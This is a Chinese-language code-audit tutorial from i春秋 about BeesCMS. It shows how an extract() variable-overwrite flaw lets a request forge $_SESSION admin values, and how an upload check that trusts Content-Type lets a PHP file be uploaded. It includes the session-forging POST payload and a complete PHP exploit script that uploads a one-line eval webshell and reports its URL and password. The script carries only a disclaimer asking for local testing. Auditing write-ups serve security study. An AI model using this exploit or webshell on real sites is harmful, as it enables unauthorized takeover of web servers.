代码审计就该这么来3 beescms getshell
本文作者:i春秋作家——索马里的海贼
前言
上一回(http://bbs.ichunqiu.com/thread-13714-1-1.html)说到快速漏洞挖掘中的几个重点关注对象,命令执行,文件操作,sql注入。并且拿sql做为例子简单做了一次代码审计,今天换一个思路,从文件操作部分入手,毕竟 文件操作一个搞不好就是getshell,比起注入按部就班慢慢来可要爽快多了。
一、关注重点
对于文件操作部分来说,首先对php内置的文件操作函数的作用和特性要有一个大概的了解
file_get_contents() file_put_contents() move_uploaded_file() readfile() fopen() file() fputs() fwrite() …………这些都是常用的文件读写类函数,一般文件类的漏洞直接搜索这些函数的调用,跟踪上下文参数传递过程就可以了。说起来挺简单 其实要一个一个调用看过去还是很费时间的,尤其是在快速漏洞挖掘中,对系统结构还不太熟悉,有些参数传递或者方法可能一眼看上去就懵比了。那么如何来快速发现一个文件类的漏洞呢。 审计文件类的漏洞,首先我会去看这套系统的上传部分。上传部分是已经构造完成的一套从输入到写入到输出的流程,如果其中存在问题,那么很可能直接就拿到shell。 上传漏洞被挖了这么多年,各类cms或多或少都会在上传部分做一些检查和限制,常见的检查有 1、$_FILES['file']['name'] 一般会从上传文件的文件名中取出扩展名,并与白名单或者黑名单做比较来判断是否继续上传。 2、$_FILES['file']['type'] 上传文件的类型,一般是与白名单比较。 3、$_FILES['file']['tmp_name'] 上传文件的临时保存文件,有些比较严谨的CMS会在这个阶段 用getimagesize等函数对临时文件做检查。如文件不合法 直接丢弃 常见的限制有 1、使用is_uploaded_file() 这个函数会检查$_FILES['file']['tmp_name'] 是否为合法的上传文件,当$_FILES被漏洞覆盖的时候,可被修改的$_FILES['file']['tmp_name']将是一个极大的安全威胁,如果处理文件上传的函数是copy 那么最轻都是一个任意文件读取的漏洞。 2、单独使用move_uploaded_file()函数处理上传文件,理由同上,move_uploaded_file函数也会判断是否为合法文件。减少系统存在变量覆盖漏洞时躺枪的概率。 3、文件名不可控且后缀名限制为某个数组的成员 比如 $ext=array(‘jpg’,'png’,'gif’); $filename = ‘user_avatar_01′ . $ext[$s]; 接下来就看看我们的目标beescms 二、实战 先来看看beescms的上传部分代码 if(isset($_FILES['up'])){ if(is_uploaded_file($_FILES['up']['tmp_name'])){ if($up_type==’pic’){ $is_thumb=empty($_POST['thumb'])?0:$_POST['thumb']; $thumb_width=empty($_POST['thumb_width'])?$_sys['thump_width']:intval($_POST['thumb_width']); $thumb_height=empty($_POST['thumb_height'])?$_sys['thump_height']:intval($_POST['thumb_height']); $logo=0; $is_up_size = $_sys['upload_size']*1000*1000; $value_arr=up_img($_FILES['up'],$is_up_size,array(‘image/gif’,'image/jpeg’,'image/png’,'image/jpg’,'image/bmp’,'image/pjpeg’),$is_thumb,$thumb_width,$thumb_height,$logo); $pic=$value_arr['pic']; if(!empty($value_arr['thumb'])){ $pic=$value_arr['thumb']; } $str=”<script type=\”text/javascript\”>$(self.parent.document).find(‘#{$get}’).val(‘{$pic}’);self.parent.tb_remove();</script>”; echo $str; exit; }//图片上传 }else{ die(‘没有上传文件或文件大小超过服务器限制大小<a href=”javascript:history.back(1);”>返回重新上传</a>’); } } 可以看到 用is_uploaded_file检查了上传文件是否合法,所以即使系统有变量覆盖漏洞(这套系统的确是有的,后面会说),也帮不上多大忙了 实际上传用的是up_img函数 接着跟过去看看 function up_img($file,$size,$type,$thumb=0,$thumb_width=”,$thumb_height=”,$logo=1,$pic_alt=”){ if(file_exists(DATA_PATH.’sys_info.php’)){include(DATA_PATH.’sys_info.php’);} if(is_uploaded_file($file['tmp_name'])){ if($file['size']>$size){ msg(‘图片超过’.$size.’大小’); } $pic_name=pathinfo($file['name']);//图片信息 $file_type=$file['type']; if(!in_array(strtolower($file_type),$type)){ msg(‘上传图片格式不正确’); } $path_name=”upload/img/”; $path=CMS_PATH.$path_name; if(!file_exists($path)){ @mkdir($path); } $up_file_name=empty($pic_alt)?date(‘YmdHis’).rand(1,10000):$pic_alt; $up_file_name2=iconv(‘UTF-8′,’GBK’,$up_file_name); $file_name=$path.$up_file_name2.’.’.$pic_name['extension']; if(file_exists($file_name)){ msg(‘已经存在该图片,请更改图片名称!’);//判断是否重名 } $return_name['up_pic_size']=$file['size'];//上传图片大小 $return_name['up_pic_ext']=$pic_name['extension'];//上传文件扩展名 $return_name['up_pic_name']=$up_file_name;//上传图片名 $return_name['up_pic_path']=$path_name;//上传图片路径 $return_name['up_pic_time']=time();//上传时间 unset($pic_name); //开始上传 if(!move_uploaded_file($file['tmp_name'],$file_name)){ msg(‘图片上传失败’,”,0); } 好了来看看他的检查和限制 $file_type=$file['type']; if(!in_array(strtolower($file_type),$type)){ msg(‘上传图片格式不正确’); } 这里检查了上传文件的type 如果type不在白名单里 就直接提示出错 这个检查其实做的是无用功,type来自客户端,想怎么伪造都可以 再来看看保存的文件名 $pic_name=pathinfo($file['name']);//图片信息 ………… $up_file_name=empty($pic_alt)?date(‘YmdHis’).rand(1,10000):$pic_alt; $up_file_name2=iconv(‘UTF-8′,’GBK’,$up_file_name); $file_name=$path.$up_file_name2.’.’.$pic_name['extension']; 并没有做任何检查就直接取了$file['name'](就是我们上传时候的文件名)的后缀来给新生成的文件,只要伪造合法的type就能妥妥的getshell了 三、一波三折 结束了么?并没有,其实beecms这套系统前台根本就没有上传点。。。所有的上传功能都需要后台权限。一个后台getshell当然不能满足,于是继续挖掘。先来看看是怎么验证后台权限的 admin/upload.php第二行 include(‘init.php’); admin/init.php 第54行
if(!is_login()){header('location:login.php');exit;}来看看这个is_login函数
includes/fun.php 第997行 function is_login(){ if($_SESSION['login_in']==1&&$_SESSION['admin']){ if(time()-$_SESSION['login_time']>3600){ login_out(); }else{ $_SESSION['login_time']=time(); @session_regenerate_id(); } return 1; }else{ $_SESSION['admin']=''; $_SESSION['admin_purview']=''; $_SESSION['admin_id']=''; $_SESSION['admin_time']=''; $_SESSION['login_in']=''; $_SESSION['login_time']=''; $_SESSION['admin_ip']=''; return 0; } }来看看这个is_login函数 includes/fun.php 第997行
function is_login(){ if($_SESSION['login_in']==1&&$_SESSION['admin']){ if(time()-$_SESSION['login_time']>3600){ login_out(); }else{ $_SESSION['login_time']=time(); @session_regenerate_id(); } return 1; }else{ $_SESSION['admin']=''; $_SESSION['admin_purview']=''; $_SESSION['admin_id']=''; $_SESSION['admin_time']=''; $_SESSION['login_in']=''; $_SESSION['login_time']=''; $_SESSION['admin_ip']=''; return 0; } }这里并没有对用户信息做检查,只是单纯的判断了是否存在login_in admin这两个session标识位和是否超时而已 前面说到过这套系统存在变量覆盖漏洞 如果能覆盖(添加)这几个$_SESSION值 就能绕过这个检查 $_SESSION覆盖有个必须前提,session_start()必须出现在覆盖之前,不然就算覆盖了$_SESSION变量,一旦session_start() 变量就会被初始化掉。 来看看覆盖的地方 includes/init.php 部分代码省略
session_start(); @include(INC_PATH.'fun.php'); define('IS_MB',is_mb()); unset($HTTP_ENV_VARS, $HTTP_POST_VARS, $HTTP_GET_VARS, $HTTP_POST_FILES, $HTTP_COOKIE_VARS); if (!get_magic_quotes_gpc()) { if (isset($_REQUEST)) { $_REQUEST = addsl($_REQUEST); } $_COOKIE = addsl($_COOKIE); $_POST = addsl($_POST); $_GET = addsl($_GET); } if (isset($_REQUEST)){$_REQUEST = fl_value($_REQUEST);} $_COOKIE = fl_value($_COOKIE); $_GET = fl_value($_GET); @extract($_POST); @extract($_GET); @extract($_COOKIE);一个全局过滤的代码,最后用extract来初始化变量 由于没有使用EXTR_SKIP参数导致任意变量覆盖,又由于执行的时候已经session_start()了 所以可以覆盖(添加)任意$_SESSION值。 这么一来就能绕过后台检查把一个后台getshell变成前台getshell了 四、利用 利用就很简单了,首先POST index.php
_SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=99999999999然后打开/admin/upload.php 选择一个php文件上传 修改上传包中的Content-Type:为image/png就可以了 算了还是把exp放上来吧。。。 利用脚本具有攻击性,请在本地环境进行测试! 请勿针对任何互联网站点使用本脚本! 利用本脚本造成的一切后果与本人无关!
<?php print_r(' **************************************************** * * Beescms File Upload Vulnerability * by SMLDHZ * QQ:3298302054 * Usage: php '.basename(__FILE__).' url * php '.basename(__FILE__).' [url]http://www.beescms.com/beescms/[/url] * **************************************************** '); if($argc!=2){ exit; } $uri = $argv[1]; $payload1 = '_SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=99999999999'; $payload2 = array( 'up"; filename="shell.php"'."\r\nContent-Type:image/png\r\n\r\n<?php eval(\$_POST['x']);?>"=>'' ); preg_match('#Set-Cookie:(.*);#',myCurl($uri."/index.php",$payload1),$match); if(!isset($match[1])){ die('[-]Opps! Cannot get Cookie...'); } echo "[+]Got Cookie:".$match[1]."\r\n"; echo "[+]Now trying to getshell...\r\n"; $tmp = myCurl($uri."/admin/upload.php",$payload2,$match[1]); preg_match('#val\(\'(.*)\'\)#',$tmp,$shell); if(!isset($shell[1])){ die('[-]Opps! Cannot get shell... see below\r\n'.$tmp); } echo "[+]Your shell:".$uri."/upload/".$shell[1]." [password]:x"; function myCurl($url,$postData='',$cookie=''){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $postData); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); if($cookie != ''){ curl_setopt($ch, CURLOPT_COOKIE, $cookie); } $ret = curl_exec($ch); curl_close($ch); return $ret; }总结 写文章真尼玛累,其实整篇文章对于一个熟悉php代码审计的人来说,两句话就能说清楚了 前台变量覆盖$_SESSION可绕过后台验证 后台上传部分只验证了Content-Type导致getshell 为什么写这么多,并不是为了多赚稿费(要是按字收费就好了。。。)我是希望不管小伙伴们懂不懂代码审计,都能看得下去这篇文章,不说看完能学到多少,至少step by step读下来没那么枯燥,新手看下来也能觉得有收获。
关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
关注网络尖刀微信公众号
随时掌握互联网精彩
随时掌握互联网精彩
赞助链接
排名
热点
搜索指数
- 1 澳门是伟大祖国的一方宝地 7979333
- 2 央视曝光未成年人绕开防沉迷只需4元 7941743
- 3 张雨绮 为了讨大家喜欢才穿成这样 7847953
- 4 2024 向上的中国 7795448
- 5 大S老公具俊晔站C位跳女团舞 7646056
- 6 停个车数据就泄露了 7536691
- 7 特朗普赞成TikTok继续在美国运营 7471744
- 8 汪峰红毯现场回应汪峰定律 7334425
- 9 男子暴瘦110斤后被质疑戴人皮面具 7253154
- 10 老人花2万买保健床垫后再不愿去医院 7145177